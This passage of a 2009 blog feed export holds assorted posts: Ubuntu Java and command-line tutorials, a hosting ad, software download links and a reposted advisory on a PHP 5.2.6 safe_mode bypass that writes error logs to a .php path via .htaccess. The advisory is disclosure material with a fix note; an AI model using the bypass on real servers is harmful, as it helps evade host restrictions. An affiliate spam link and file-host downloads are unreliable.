src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-152969075726814863</id><published>2009-03-21T20:34:00.000-07:00</published><updated>2009-04-12T07:04:03.003-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Install Java</title><content type='html'>The modern web-browsing experience requires Java. Here's how to install Java and caffeinate your web browser. For a Free Scan and Care Tool: Top-Converting, &lt;a href="http://hemlet.sfactory.hop.clickbank.net/?tid=81"&gt;click here&lt;/a&gt;&lt;br /&gt;Ubuntu's an amazing Linux distribution for lots of different reasons, but one of the things people find attractive about it is the fact that it ships with lots of different software, preconfigured and ready to use. However, until recently, one of the things that the Ubuntu developers couldn't include was the Sun Java Runtime Environment (JRE), because it used a nonfree license that prevented its bundling with a Linux distribution.&lt;br /&gt;Recently, however, Sun Microsystems relaxed the restrictions on the Java license, introducing the Distro License for Java (DLJ). This new license allows distributors to ship Sun's JRE and Java Development Kit (JDK) as installable packages, rather than the self-extracting binaries that were previously available. It also gives Linux distributors the ability to define the packaging, installation, and support for Java within their Linux distribution.&lt;br /&gt;As such, Dapper Drake now ships with Sun's Java available as a non-free package in the multiverse repository. You'll need to have the universe and multiverse repositories enabled to install Java.&lt;br /&gt;The Ubuntu developers have separated the Java components into several packages:&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;sun-java5-bin&lt;br /&gt;Contains the binaries&lt;br /&gt;sun-java5-demo&lt;br /&gt;Contains demos and examples&lt;br /&gt;sun-java5-doc&lt;br /&gt;Contains the documentation&lt;br /&gt;sun-java5-fonts&lt;br /&gt;Contains the Lucida TrueType fonts from the JRE&lt;br /&gt;sun-java5-jdk&lt;br /&gt;Contains the metapackage for the JDK&lt;br /&gt;sun-java5-jre&lt;br /&gt;Contains the metapackage for the JRE&lt;br /&gt;sun-java5-plugin&lt;br /&gt;Contains the plug-in for Mozilla-based browsers&lt;br /&gt;sun-java5-source&lt;br /&gt;Contains source files for the JDK&lt;br /&gt;Installing the Java Runtime Environment&lt;br /&gt;Once you've got the multiverse repository enabled, installing Sun's Java package is easy. Simply open a terminal window and apt-get the package. Since you are going to be installing the JRE and the web browser plug-in, you'll be using the following command from a terminal window:&lt;br /&gt;bill@constellation:~$ sudo apt-get install sun-java5-jre sun-java5-plugin \\&lt;br /&gt;sun-java5-fonts&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Once apt-get downloads the packages and begins the installation, you'll get a screen that contains the Sun Operating System Distributor License for Java. Read the license, if you wish, and hit Enter to continue. You'll see a dialog that asks you if you agree with the DLJ license terms. Select Yes, and hit Enter; the JRE will finish installing.&lt;br /&gt;At this point, Java is installed.&lt;br /&gt;Confirming the Installation&lt;br /&gt;You'll want to confirm that your system is configured properly for Sun's JRE. This is a two-step process. First, check that the JRE is properly installed by running the following command from a terminal. You should get similar output:&lt;br /&gt;bill@constellation:~$ java -version&lt;br /&gt;java version "1.5.0_06"&lt;br /&gt;Java(TM) 2 Runtime Environment, Standard Edition (build 1.5.0_06-b05)&lt;br /&gt;Java HotSpot(TM) Client VM (build 1.5.0_06-b05, mixed mode, sharing)&lt;br /&gt;If you see an unexpected version of Javain particular, one identified as "gij (GNU libgcj)"then you probably have GNU Java installed. You can easily switch from one Java to another with the command sudo update-alternatives --config java, which will prompt you to choose which Java implementation to use. Pick the one in /usr/lib/jvm to use the JRE you just installed.&lt;br /&gt;If the JRE is properly installed, confirm that the Java plug-in is installed in your browser by opening Firefox and typing about:plugins in the address bar&lt;br /&gt;Congratulations, you've caffeinated your browser! You can now surf to Java-enabled web sites and use Java applications!&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-152969075726814863?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/152969075726814863/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=152969075726814863' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/152969075726814863'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/152969075726814863'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2009/03/install-java.html' title='Install Java'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-306940757106362101</id><published>2009-03-21T20:04:00.000-07:00</published><updated>2009-03-29T15:28:16.403-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web Design'/><category scheme='http://www.blogger.com/atom/ns#' term='Web Hosting'/><category scheme='http://www.blogger.com/atom/ns#' term='Product'/><title type='text'>Silver Partner Package</title><content type='html'>Paket Silver Partnet dilengkapi fitur standar untuk sebuah Company Profile, bagi anda yang ingin memiliki sebuah website yang mengutamakan informasi perusahaan anda. Paket Silver Partnet memberikan anda solusi yang efisien dalam hal website yang efektif (modul, desain, CMS). Efisiensi waktu dimana aktifasi domain website super instant dengan  hanya 20 menit setelah konfirmasi. Harga yang sangat terjangkau termasuk bonus domain dan server hosting GRATIS! untuk tahun pertama. Technical Support 24/7 untuk memastikan kecepatan dan kemudahan akses website anda. Apabila anda mencari website yang murah, mudah, dan efektif, maka pesan  Paket Silver Partner sekarang juga! Hanya dengan Rp. 915.000, - *&lt;br /&gt;Bonus :&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Search Engine Submission&lt;br /&gt;Pendaftaran website ke search engine terkenal seperti : Google, Yahoo, dll.&lt;br /&gt;Free Domain &amp; Hosting&lt;br /&gt;Pilihan domain &lt;br /&gt;(com/.net/.org/    .info/.biz/ dll)* &amp; Hosting Server Linux USA 100 Mb.&lt;br /&gt;&lt;br /&gt;* Harga sudah termasuk domain dan hosting untuk tahun pertama. Perpanjangan tahun berikutnya silahkan kontak kami.&lt;br /&gt;** Free Domain dan Hosting hanya bisa digunakan untuk website super instant dari kami, tidak bisa dialihkan untuk digunakan pada website lain. Free hosting dan domain tidak bisa diuangkan dan tidak bisa dialihkan menjadi diskon.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-306940757106362101?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/306940757106362101/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=306940757106362101' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/306940757106362101'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/306940757106362101'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2009/03/silver-partner-package.html' title='Silver Partner Package'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-9010869714213675465</id><published>2009-02-26T08:14:00.000-08:00</published><updated>2009-02-26T08:23:58.128-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Download'/><title type='text'>Online Storage Management</title><content type='html'>Veritas Storage Foundation Basic&lt;br /&gt;A Free Solution for Heterogeneous, Online Storage Management&lt;br /&gt;Veritas Storage Foundation Basic is a free-license version of Storage Foundation, with an optional support subscription. Storage Foundation Basic combines the industry-leading Veritas File System and Veritas Volume Manager, offering a complete solution for heterogeneous online storage management.&lt;br /&gt;&lt;br /&gt;Download your free copy of Veritas Storage Foundation Basic today. Note: This free version is limited to 4 user-data volumes, and/or 4 user-data file systems, and/or 2 processor sockets in a single physical system. For the Windows platform, Storage Foundation does not contain the Veritas File System.&lt;br /&gt;&lt;br /&gt;About Storage Foundation Basic&lt;br /&gt;&lt;br /&gt;Storage Foundation Basic is specifically designed for workloads running on single and dual-processor servers — including edge-tier, departmental, and test/development systems.&lt;br /&gt;&lt;br /&gt;Key Benefits&lt;br /&gt;&lt;br /&gt;* Increased operational efficiency with simplified, centralized storage management.&lt;br /&gt;* Increased storage utilization across heterogeneous operating systems and storage arrays.&lt;br /&gt;* Enterprise performance and scalability. &lt;a href="http://www.ziddu.com/download/3348152/ent-sf_basic_5.0_technical_faq_01-2007.en-us.pdf.zip.html" target="_blank"&gt;Download FAQ&lt;/a&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Key Features&lt;br /&gt;&lt;br /&gt;* Enhanced storage I/O performance and availability with Dynamic Multi-pathing.&lt;br /&gt;* Online tools for simplified data migration across operating systems.&lt;br /&gt;* Broadest set of qualified storage devices and arrays.&lt;br /&gt;&lt;br /&gt;System Requirements&lt;br /&gt;&lt;br /&gt;* Storage Foundation Basic 5.1 is available on the following Windows platforms: Windows Server 2003 32-bit, x64, IA64&lt;br /&gt;* Windows Server 2003 R2 32-bit, x64&lt;br /&gt;* Windows Server 2008 32-bit, x64, IA64&lt;br /&gt;&lt;br /&gt;* Storage Foundation Basic 5.0 is available on the following platforms: Solaris 8, 9, 10 SPARC&lt;br /&gt;* Solaris 10 x64&lt;br /&gt;* AIX 5.2/5.3&lt;br /&gt;* Red Hat Enterprise Linux 4 (RHEL 4) and 5 (RHEL 5) on EM64T/Opteron&lt;br /&gt;* Novell SUSE Enterprise Linux Server 9 (SLES9) and 10 (SLES 10) on EM64T/Opteron&lt;br /&gt;* Windows 2000 Server and Windows Server 2003 (Note: Storage Foundation Basic for Windows does not contain the Veritas File System.)&lt;br /&gt;* RHEL4 and SLES9 on IBM Power PC (Linux on Power)&lt;br /&gt;&lt;br /&gt;* Storage Foundation Basic 4.1 is available on the following platforms: RHEL 4 and 5 (Xeon, EM64T and AMD Opteron) and Itanium 2&lt;br /&gt;* SLES 9 and 10 (Xeon, EM64T and AMD Opteron) and Itanium 2&lt;br /&gt;&lt;br /&gt;* Storage Foundation for Windows 5.1 Basic Operating System Requirements: Windows Server 2008: Web, Standard, Enterprise, or Datacenter Editions. x86, x64 and IA64.&lt;br /&gt;* Windows Server 2003 (32-bit): Web, Standard, Enterprise, or Datacenter Editions (SP2 required)&lt;br /&gt;* Windows Server 2003 R2 (32-bit): Standard, Enterprise, or Datacenter Editions (SP2 required)&lt;br /&gt;* Windows Server 2003 for 64-bit Itanium (IA64): Enterprise or Datacenter Editions (SP2 required)&lt;br /&gt;* Windows Server 2003 for x64 (AMD 64/Intel EM64T): Standard x64, Enterprise x64, or Datacenter x64 Editions (SP2 required)&lt;br /&gt;* Windows Server 2003 R2 for x64 (AMD 64/Intel EM64T): Standard x64 R2, Enterprise x64 R2,or Datacenter x64 R2 Editons (SP2 required)&lt;br /&gt;&lt;br /&gt;For more information detail, &lt;a href="https://www4.symantec.com/Vrt/offer?a_id=20427" target="_blank"&gt;click here&lt;/a&gt; &lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-9010869714213675465?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/9010869714213675465/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=9010869714213675465' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/9010869714213675465'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/9010869714213675465'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2009/02/online-storage-management.html' title='Online Storage Management'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-6664866777197621003</id><published>2009-02-05T21:53:00.000-08:00</published><updated>2009-02-05T22:06:55.927-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutorial'/><category scheme='http://www.blogger.com/atom/ns#' term='Programming'/><category scheme='http://www.blogger.com/atom/ns#' term='Download'/><category scheme='http://www.blogger.com/atom/ns#' term='VB / .Net'/><title type='text'>MiniCalculator</title><content type='html'>Project: MiniCalculator DLL&lt;br /&gt;     -----------------------------&lt;br /&gt;    Drops input keys directly into a TextBox, ComboBox, etc&lt;br /&gt;&lt;br /&gt;   DLL that allows to have a Mini Calculator and input of&lt;br /&gt;   numeric keys into a TextBox, ComboBox, etc. as shows this&lt;br /&gt;   example program.&lt;br /&gt;&lt;br /&gt;   Its very easy to use and has been developed for a Project where we need&lt;br /&gt;   to have fields where the Operator required assistance from a&lt;br /&gt;   Calculator. Download source code, &lt;a href="http://www.ziddu.com/download/3421706/WCodeDllconsultandotmy-phpdotnet.zip.html    " target="_blank"&gt;click here&lt;/a&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;   Notes : If your control (TextBox , Combo, etc) is inside a FRAME you must pass the&lt;br /&gt;           parameters to DLL MIni Calc as follows :&lt;br /&gt;&lt;br /&gt;       MiniKeyb.AxMiniCalc Combo1, Me.Left + Framex.Left, Me.Top + Framex.Top&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-6664866777197621003?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/6664866777197621003/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=6664866777197621003' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/6664866777197621003'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/6664866777197621003'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2009/02/minicalculator.html' title='MiniCalculator'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-6394489754863947111</id><published>2009-01-25T05:46:00.000-08:00</published><updated>2009-01-25T05:49:05.230-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Download'/><title type='text'>Mozila Firefox 3.1 Beta 2</title><content type='html'>The award-winning Firefox Web browser has security, speed and new features that will change the way you use the Web. Don’t settle for anything less. Download&lt;br /&gt;&lt;br /&gt;The Web is all about innovation, and Firefox 3 sets the pace with dozens of new features, including the smart location bar, one-click bookmarking and blindingly fast performance.&lt;br /&gt;&lt;a href="http://www.ziddu.com/download/2944985/FirefoxSetup3.1Beta2-EN.rar.html" target="_blank"&gt;Download, click here&lt;/a&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-6394489754863947111?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/6394489754863947111/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=6394489754863947111' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/6394489754863947111'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/6394489754863947111'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2009/01/mozila-firefox-31-beta-2.html' title='Mozila Firefox 3.1 Beta 2'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-6649488725429986316</id><published>2009-01-25T05:43:00.000-08:00</published><updated>2009-01-25T05:46:34.057-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Use the Command Line</title><content type='html'>Put your mouse down for a second, pop open a terminal window, and fall in love with the shell all over again.&lt;br /&gt;If you are used to Windows or Mac desktops, the command line might seem like a foreign thing to you. Typing commands into a window might seem, well, arcane. But even though Linux has really progressed on the desktop, there's still a lot of power you can wield at the command line. If this is your first time with a terminal, this hack will guide you through some command-line basics.&lt;br /&gt;Throughout this book, you'll find a number of places where you'll need to prefix commands with sudo. The sudo command allows you to temporarily execute a command with different user privileges and is frequently used when you need to add or remove software from the command line.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;The first step is to launch a terminal. Click Applications Accessories Terminal to start the default GNOME Terminal program.&lt;br /&gt;Navigate the Filesystem&lt;br /&gt;Now that the terminal program is open, you can navigate the filesystem. By default, terminals will open into your home directory, so one thing you might want to do is see what files are currently in your home directory. The ls command displays all the files in the directory you specify (or in the current directory if you don't list a directory):&lt;br /&gt;greenfly@ubuntu:~$ ls&lt;br /&gt;Desktop&lt;br /&gt;greenfly@ubuntu:~$ ls Desktop/&lt;br /&gt;screenshot1.png screenshot2.png&lt;br /&gt;&lt;br /&gt;The first command lists all of the files in the home directory. In this case, only the Desktop directory exists. The second example lists the contents of the Desktop directory, where there are two screenshot images.&lt;br /&gt;To change to a different directory, use the cd command followed by the directory to change to:&lt;br /&gt;greenfly@ubuntu:~$ cd Desktop/&lt;br /&gt;greenfly@ubuntu:~/Desktop$ ls&lt;br /&gt;screenshot1.png screenshot2.png&lt;br /&gt;&lt;br /&gt;Notice that the terminal prompt changed in the second line to show that you are currently in the Desktop directory. You can also use the pwd command to see where you currently are:&lt;br /&gt;greenfly@ubuntu:~/Desktop$ pwd&lt;br /&gt;/home/greenfly/Desktop&lt;br /&gt;&lt;br /&gt;The ~ symbol is shorthand in Linux for your user's home directory. If you type cd ~ you will automatically change back to your home directory. It saves you from having to type out cd /home/ username.&lt;br /&gt;Rename and Delete Files and Directories&lt;br /&gt;To create a directory from the command line, type the mkdir command followed by the name of the directory to create:&lt;br /&gt;greenfly@ubuntu:~$ mkdir test&lt;br /&gt;greenfly@ubuntu:~$ ls&lt;br /&gt;Desktop test&lt;br /&gt;&lt;br /&gt;Use the mv command to move a file or directory to a different directory, or to rename it in its current directory. To rename the test directory you created to testing, you can type:&lt;br /&gt;greenfly@ubuntu:~$ mv test testing&lt;br /&gt;greenfly@ubuntu:~$ ls&lt;br /&gt;Desktop testing&lt;br /&gt;&lt;br /&gt;If you wanted to move the testing directory inside the Desktop directory, you would just specify the Desktop directory as the second argument:&lt;br /&gt;greenfly@ubuntu:~$ mv testing Desktop/&lt;br /&gt;greenfly@ubuntu:~$ ls Desktop/&lt;br /&gt;screenshot1.png screenshot2.png testing&lt;br /&gt;&lt;br /&gt;The rm command removes files, and rmdir removes directories. Just use the commands followed by the files or directories to remove, respectively:&lt;br /&gt;greenfly@ubuntu:~$ rm Desktop/screenshot1.png Desktop/screenshot2.png&lt;br /&gt;greenfly@ubuntu:~$ ls Desktop/&lt;br /&gt;testing&lt;br /&gt;greenfly@ubuntu:~$ rmdir Desktop/testing/&lt;br /&gt;greenfly@ubuntu:~$ ls Desktop/&lt;br /&gt;greenfly@ubuntu:~$&lt;br /&gt;&lt;br /&gt;You can also remove a directory and all files and directories inside of it by running rm -r followed by the name of the directory.&lt;br /&gt;Be careful when you recursively delete a directory with this command that you do in fact want to remove all of the files within. Once removed via the command line, there's no trash bin to retrieve them from.&lt;br /&gt;File Globs and Tab Completion&lt;br /&gt;There are two major time-savers when dealing with long files on the command line: file globs and tab completion. File globs are symbols you can use as wildcards in the place of a filename. You can substitute the ? symbol for any single character in a filename, and * for any number of characters in a filename. For instance, say you had three files: foo, bar, and baz. If you wanted to delete both bar and baz, you would type:&lt;br /&gt;greenfly@ubuntu:$ rm ba?&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The ? matches both r and the z at the end of the filename. If you wanted to remove all files that started with the letter b, you would type:&lt;br /&gt;greenfly@ubuntu:$ rm b*&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Tab completion is another time-saver on the command line. If you start to type a command and then hit the Tab key, the shell will automatically attempt to complete the name of the command for you. In the case that more than one command matches what you have typed so far, hit Tab an extra time, and you will be shown all of the options that match:&lt;br /&gt;greenfly@ubuntu:~$ gnome-cups-&lt;br /&gt;gnome-cups-add gnome-cups-icon gnome-cups-manager&lt;br /&gt;&lt;br /&gt;Tab completion also works for files and directory names. Just type the first part of the filename and hit Tab, and the shell will fill out the rest for you.&lt;br /&gt;Once you are finished with a terminal, you can close the window like any other window, or, alternatively, you can type exit on the command line.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-6649488725429986316?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/6649488725429986316/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=6649488725429986316' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/6649488725429986316'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/6649488725429986316'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2009/01/use-command-line.html' title='Use the Command Line'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-5321032558550762345</id><published>2009-01-01T23:59:00.000-08:00</published><updated>2009-01-02T00:01:39.438-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><title type='text'>PHP 5.2.6 (error_log) safe_mode Bypass Vulnerability</title><content type='html'>SecurityReason.com PHP 5.2.6 (error_log) safe_mode bypass&lt;br /&gt;Author: Maksymilian Arciemowicz (cXIb8O3)&lt;br /&gt;securityreason.com&lt;br /&gt;Date:&lt;br /&gt;- - Written: 10.11.2008&lt;br /&gt;- - Public: 20.11.2008&lt;br /&gt;&lt;br /&gt;SecurityReason Research&lt;br /&gt;SecurityAlert Id: 57&lt;br /&gt;&lt;br /&gt;CWE: CWE-264&lt;br /&gt;SecurityRisk: Medium&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Affected Software: PHP 5.2.6&lt;br /&gt;Advisory URL: http://securityreason.com/achievement_securityalert/57&lt;br /&gt;Vendor: http://www.php.net&lt;br /&gt;&lt;br /&gt;- --- 0.Description ---&lt;br /&gt;PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl&lt;br /&gt;with a couple of unique PHP-specific features thrown in. The goal of the language is to allow web&lt;br /&gt;developers to write dynamically generated pages quickly.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;error_log&lt;br /&gt;&lt;br /&gt;They allow you to define your own error handling rules, as well as modify the way the errors can&lt;br /&gt;be logged. This allows you to change and enhance error reporting to suit your needs.&lt;br /&gt;&lt;br /&gt;- --- 0. error_log const. bypassed by php_admin_flag ---&lt;br /&gt;The main problem is between using safe_mode in global mode&lt;br /&gt;&lt;br /&gt;php.ini­:&lt;br /&gt;safe_mode = On&lt;br /&gt;&lt;br /&gt;and declaring via php_admin_flag&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;...&lt;br /&gt;php_admin_flag safe_mode On&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;When we create some php script in /www/ and try call to:&lt;br /&gt;&lt;br /&gt;ini_set("error_log", "/hack/");&lt;br /&gt;&lt;br /&gt;or in /www/.htaccess&lt;br /&gt;&lt;br /&gt;php_value error_log "/hack/bleh.php"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Result:&lt;br /&gt;&lt;br /&gt;Warning: Unknown: SAFE MODE Restriction in effect. The script whose uid is 80 is not allowed to access /hack/ owned by uid 1001 in Unknown on line 0&lt;br /&gt;&lt;br /&gt;Warning: ini_set() [function.ini-set]: SAFE MODE Restriction in effect. The script whose uid is 80 is not allowed to access /hack/ owned by uid 1001 in /www/phpinfo.php on line 4&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;It was for safe_mode declared in php.ini. But if we use&lt;br /&gt;&lt;br /&gt;php_admin_flag safe_mode On&lt;br /&gt;&lt;br /&gt;in httpd.conf, we will get only&lt;br /&gt;&lt;br /&gt;Warning: ini_set() [function.ini-set]: SAFE MODE Restriction in effect. The script whose uid is 80 is not allowed to access /hack/ owned by uid 1001 in /www/phpinfo.php on line 4&lt;br /&gt;&lt;br /&gt;syntax in .htaccess&lt;br /&gt;&lt;br /&gt;php_value error_log "/hack/blehx.php"&lt;br /&gt;&lt;br /&gt;is allowed and bypass safe_mode.&lt;br /&gt;&lt;br /&gt;example exploit:&lt;br /&gt;error_log("", 0);&lt;br /&gt;&lt;br /&gt;- --- 2. How to fix ---&lt;br /&gt;Fixed in CVS&lt;br /&gt;&lt;br /&gt;http://cvs.php.net/viewvc.cgi/php-src/NEWS?revision=1.2027.2.547.2.1315&amp;view=markup&lt;br /&gt;&lt;br /&gt;Note:&lt;br /&gt;Do not use safe_mode as a main safety.&lt;br /&gt;&lt;br /&gt;--- 3. Greets ---&lt;br /&gt;sp3x Infospec schain p_e_a pi3&lt;br /&gt;&lt;br /&gt;- --- 4. Contact ---&lt;br /&gt;Author: SecurityReason [ Maksymilian Arciemowicz ( cXIb8O3 ) ]&lt;br /&gt;Email: cxib [at] securityreason [dot] com&lt;br /&gt;GPG: http://securityreason.pl/key/Arciemowicz.Maksymilian.gpg&lt;br /&gt;http://securityreason.com&lt;br /&gt;http://securityreason.pl&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-5321032558550762345?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/5321032558550762345/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=5321032558550762345' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/5321032558550762345'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/5321032558550762345'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2009/01/php-526-errorlog-safemode-bypass.html' title='PHP 5.2.6 (error_log) safe_mode Bypass Vulnerability'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-6477398532853239781</id><published>2008-12-18T08:01:00.000-08:00</published><updated>2008-12-18T08:04:27.398-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutorial'/><category scheme='http://www.blogger.com/atom/ns#' term='Programming'/><category scheme='http://www.blogger.com/atom/ns#' term='VB / .Net'/><title type='text'>Operator</title><content type='html'>Operator (Visual Basic)Visual Studio 2008&lt;br /&gt;Returns the difference between two numeric expressions or the negative value of a numeric expression.&lt;br /&gt;Expression1 – expression2&lt;br /&gt;-Or –&lt;br /&gt;-expression1&lt;br /&gt;Parts&lt;br /&gt;expression1 &lt;br /&gt;Required. Any numeric expression.&lt;br /&gt;expression2 &lt;br /&gt;Required unless the – operator is calculating a negative value. Any numeric expression.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Result&lt;br /&gt;The result is the difference between expression1 and expression2, or the negated value of expression1.&lt;br /&gt;The result data type is a numeric type appropriate for the data types of expression1 and expression2. See the "Integer Arithmetic" tables in Data Types of Operator Results.&lt;br /&gt;Supported Types&lt;br /&gt;All numeric types. This includes the unsigned and floating-point types and Decimal.&lt;br /&gt;Remarks&lt;br /&gt;In the first usage shown in the syntax shown previously, the – operator is the binary arithmetic subtraction operator for the difference between two numeric expressions.&lt;br /&gt;In the 